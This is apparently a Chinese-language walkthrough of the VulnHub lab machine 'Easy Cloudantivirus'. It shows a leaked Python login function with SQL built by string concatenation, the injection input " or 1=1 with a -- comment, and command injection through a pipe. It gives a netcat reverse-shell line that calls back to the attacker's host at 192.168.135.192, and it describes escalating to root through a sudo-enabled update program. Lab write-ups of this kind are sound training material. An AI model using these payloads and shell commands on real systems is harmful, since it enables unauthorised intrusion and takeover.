VulnHub靶场 Easy Cloudantivirus

VulnHub靶场 Easy Cloudantivirus


进行二层发现

目标锁定 192.168.135.205,对其进行端口扫描,得到如下结果

在目标 IP 下的 8080 端口,有一个 Python 的 WEB 服务,访问页面得到如下结果

要求填写邀请码进行使用。进行 FUZZ 测试,在测试 " 的时候,出现的 sqlite3 报错

直接把代码爆出来了。

PYTHON
1
2
3
4
5
6
7
def login():
    password = request.form['password']
    if len(c.execute('select * from code where password="' + password + '"').fetchall()) > 0:
        session['logged_in'] = True
		return 'Redirecting to /scan. <meta http-equiv="refresh" content="0; url=/scan" />'
    else:
        return "WRONG INFORMATION"

看一下 sql 语句

SQL
1
select * from code where password="' + password + '"

简单构建一下

SQL
1
select * from code where password="' + " or 1=1# + '"

即输入 " or 1=1#,进行尝试,结果如下

额……换个 -- 注释试试

成功,返回了一个 ls -l 的命令结果。说明后端执行了命令,试试管道符

成功执行命令,我们借此可以反弹 shell,发现目标靶机自带 nc,尝试连接

失败了,可能是版本不对……,想到一个法子

SHELL
1
nc 192.168.135.192 9999 | /bin/bash | nc 192.168.135.192 8888

第一个的结果传递给 /bin/bash,然后再传递给第二个连接,这样不就另类的实现了 shell 嘛

成功。不过这样有点麻烦,直接传一个 MSF 马进去

成功喽。有一个数据库文件,下载下来,啥也没有。

再进行信息收集的时候,发现在 /home/scanner 下,有一个可执行的,有 sudo 权限的,属主为 root 用户的 c 源文件

查看一下源码内容

这是一个更新脚本,要求传递两个参数,拿 nc 简单试试

查看反弹结果

成功得到 root 权限,然后再传 MSF 马,得到 root 权限的 MSF 后门

成功拿到 root 权限